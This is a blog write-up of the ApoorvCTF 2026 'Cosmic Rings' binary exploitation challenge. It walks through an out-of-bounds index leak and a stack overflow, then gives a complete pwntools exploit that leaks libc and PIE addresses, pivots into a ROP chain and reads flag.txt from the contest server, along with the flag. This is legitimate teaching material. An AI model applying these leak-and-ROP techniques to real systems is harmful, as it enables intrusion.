875 words
4 minutes
ApoorvCTF 2026 - Cosmic Rings - Binary Exploitation Writeup

Category: Binary Exploitation Flag: apoorvctf{c0sm1c_b4rr13rs_br0k3n_4nd_h4v0k_s3cur3d}

Challenge Description#

Havok has calibrated four concentric plasma rings to contain the cosmic spectrum. Each ring is a barrier. Each barrier can be broken but can you break them?

Analysis#

The binary is a 64-bit PIE ELF with all the usual modern protections turned on (Full RELRO, canary, NX, PIE), so the solve path had to be leak-first and then controlled ROP instead of any simple ret2win shortcut.

file ./havok
./havok: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dbfdb67cc5c037eabc542700fb98ed98dcb8656e, for GNU/Linux 4.4.0, with debug_info, not stripped
checksec --file=./havok
[*] '/home/rei/Downloads/cosmic_rings/havok'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
    Debuginfo:  Yes

I then pulled the symbol table to confirm the interesting functions and imports: calibrate_rings, inject_plasma, validate_plasma, and imported read/system.

readelf -s ./havok | rg "calibrate_rings|inject_plasma|validate_plasma|cosmic_release|main|flag_store| read@GLIBC| system@GLIBC"
     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.2.5 (3)
    13: 0000000000001226   177 FUNC    LOCAL  DEFAULT   13 validate_plasma
    31: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND system@GLIBC_2.2.5
    33: 00000000000011e9    61 FUNC    GLOBAL DEFAULT   13 cosmic_release
    38: 00000000000015d5   132 FUNC    GLOBAL DEFAULT   13 inject_plasma
    47: 00000000000012d7   603 FUNC    GLOBAL DEFAULT   13 calibrate_rings
    49: 00000000000017e0   300 FUNC    GLOBAL DEFAULT   13 main
    55: 0000000000004280   128 OBJECT  GLOBAL DEFAULT   25 flag_store

The key bug is in calibrate_rings: it reads an int, then truncates to short, checks short <= 3, and uses that signed short as an index. Large positive values like 65534 and 65535 wrap to -2 and -1, which leaks out-of-bounds stack entries containing pointers.

objdump -d ./havok | rg -n -A4 -B4 "mov\s+%ax,-0xea\(%rbp\)|cmpw\s+\$0x3,-0xea\(%rbp\)|movswl\s+-0xea\(%rbp\),%eax|lea\s+-0x20\(%rbp\),%rax|mov\s+\$0x30,%edx|call\s+1090 <read@plt>"
286-    13f4:    8b 85 1c ff ff ff        mov    -0xe4(%rbp),%eax
287:    13fa:    66 89 85 16 ff ff ff     mov    %ax,-0xea(%rbp)
288-    1401:    66 83 bd 16 ff ff ff     cmpw   $0x3,-0xea(%rbp)
291:    140b:    0f bf 85 16 ff ff ff     movswl -0xea(%rbp),%eax
...
426:    1632:    48 8d 45 e0              lea    -0x20(%rbp),%rax
427-    1636:    ba 30 00 00 00           mov    $0x30,%edx
430:    1643:    e8 48 fa ff ff           call   1090 <read@plt>

That same snippet also exposes ring 3’s overflow sink: read(0, rbp-0x20, 0x30), i.e. 48 bytes into a 32-byte stack buffer, enough to overwrite saved RBP and RIP and pivot into a ROP chain.

Running a tiny local probe script confirms those wrapped indices leak two pointers reliably.

from pwn import *

io = process(
    [
        "./ld-linux-x86-64.so.2",
        "--library-path",
        ".",
        "./havok",
    ]
)

io.recvuntil(b": ")
io.sendline(b"65534")
print(
    io.recvregex(rb"\[\*\] Ring-[-0-9]+ energy: 0x[0-9a-fA-F]{16}\n").decode().rstrip()
)

io.recvuntil(b":")
io.sendline(b"A")

io.recvuntil(b": ")
io.sendline(b"65535")
print(
    io.recvregex(rb"\[\*\] Ring-[-0-9]+ energy: 0x[0-9a-fA-F]{16}\n").decode().rstrip()
)

io.close()
python ./leak_demo.py
[*] Ring--2 energy: 0x00007f55dc91ce00
[*] Ring--1 energy: 0x00007f55dcadb7e0

The challenge got annoying because ring 3 input validation rejects any payload containing 0f 05, so the ROP blob had to avoid that byte pair while still building a full chain. Also the network read for the overflow stage is slightly fickle, so retries matter.

tableflip

The working exploit leaks libc and PIE via the wrapped indices, uploads a ROP chain into plasma_sig, then overflows inject_plasma to pivot with leave; ret. Because seccomp blocks execve, shell pop wasn’t the right endgame; the final chain does ORW on flag.txt and writes it to stdout. Once that chain landed, the service printed the real remote flag.

smile

Solution#

from pwn import *
import re

HOST = "chals1.apoorvctf.xyz"
PORT = 5001

elf = ELF("./havok", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

LEAVE_RET_OFF = 0x1224
POP_RDI_OFF = 0x10269A
POP_RSI_OFF = 0x53887
POP_RDX_XOR_EAX_RET_OFF = 0xD6FFD


def start(mode: str):
    if mode == "LOCAL":
        return process([
            "./ld-linux-x86-64.so.2",
            "--library-path",
            ".",
            "./havok",
        ])
    return remote(HOST, PORT)


def leak_slot(io, idx: int, label: bytes) -> int:
    io.recvuntil(b"Probe a ring-energy slot")
    io.recvuntil(b": ")
    io.sendline(str(idx).encode())

    line = io.recvregex(rb"\[\*\] Ring-[-0-9]+ energy: 0x[0-9a-fA-F]{16}\n")
    m = re.search(rb"0x([0-9a-fA-F]{16})", line)
    leak = int(m.group(1), 16)

    io.recvuntil(b"Provide a label for this ring reading:")
    io.sendline(label)
    return leak


def build_signature(pie_base: int, libc_base: int, path: bytes) -> tuple[bytes, int]:
    plasma_sig = pie_base + elf.symbols["plasma_sig"]

    pop_rdi = libc_base + POP_RDI_OFF
    pop_rsi = libc_base + POP_RSI_OFF
    pop_rdx = libc_base + POP_RDX_XOR_EAX_RET_OFF
    open_ = libc_base + libc.symbols["open"]
    close_ = libc_base + libc.symbols["close"]
    read_ = libc_base + libc.symbols["read"]
    write_ = libc_base + libc.symbols["write"]

    path_addr = plasma_sig + 0xC0
    buf_addr = plasma_sig + 0x180

    chain = flat(
        pop_rdi, 3, close_,
        pop_rdi, path_addr,
        pop_rsi, 0,
        open_,
        pop_rdi, 3,
        pop_rsi, buf_addr,
        pop_rdx, 0x80,
        read_,
        pop_rdi, 1,
        pop_rsi, buf_addr,
        pop_rdx, 0x80,
        write_,
    )

    sig = flat(0x0, chain)
    sig = sig.ljust(0xC0, b"A") + path

    if b"\x0f\x05" in sig:
        raise RuntimeError("signature contains forbidden 0f05 sequence")
    return sig, plasma_sig


def attempt(path: bytes):
    io = start("REMOTE")
    try:
        puts_leak = leak_slot(io, 65534, b"A")
        main_leak = leak_slot(io, 65535, b"B")

        libc_base = puts_leak - libc.symbols["puts"]
        pie_base = main_leak - elf.symbols["main"]

        sig, pivot_base = build_signature(pie_base, libc_base, path)

        io.recvuntil(b"Upload Plasma Signature")
        io.recvuntil(b":")
        io.send(sig)

        io.recvuntil(b"Type CONFIRM")

        leave_ret = pie_base + LEAVE_RET_OFF
        pivot = b"C" * 0x20 + p64(pivot_base) + p64(leave_ret)
        io.send(pivot + b"D" * 0x200 + b"\n")

        out = io.recvrepeat(4.0)
        m = re.search(rb"[A-Za-z0-9_]+\{[^}]+\}", out)
        if m:
            return m.group(0).decode()
        return None
    finally:
        io.close()


for _ in range(12):
    flag = attempt(b"flag.txt\x00")
    if flag:
        print(flag)
        break
python ./exploit.py
[*] selected mode=REMOTE, marker_only=False
[*] trying path b'flag.txt\x00' attempt=1/12
[*] start() mode='REMOTE'
[*] connecting to remote service
[+] Opening connection to chals1.apoorvctf.xyz on port 5001: Done
[*] stage: leak slot -2
[*] stage: leak slot -1
[*] puts leak = 0x7f758beade00
[*] main leak = 0x7f758c0417e0
[*] libc base = 0x7f758be2b000
[*] pie  base = 0x7f758c040000
[*] stage: upload signature
[*] stage: wait confirm prompt
[*] stage: send pivot overwrite
[*] stage: receive output
[*] Injection acknowledged.
apoorvctf{c0sm1c_b4rr13rs_br0k3n_4nd_h4v0k_s3cur3d}
FLAG: apoorvctf{c0sm1c_b4rr13rs_br0k3n_4nd_h4v0k_s3cur3d}
ApoorvCTF 2026 - Cosmic Rings - Binary Exploitation Writeup
https://blog.rei.my.id/posts/109/apoorvctf-2026-cosmic-rings-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-10
License
CC BY-NC-SA 4.0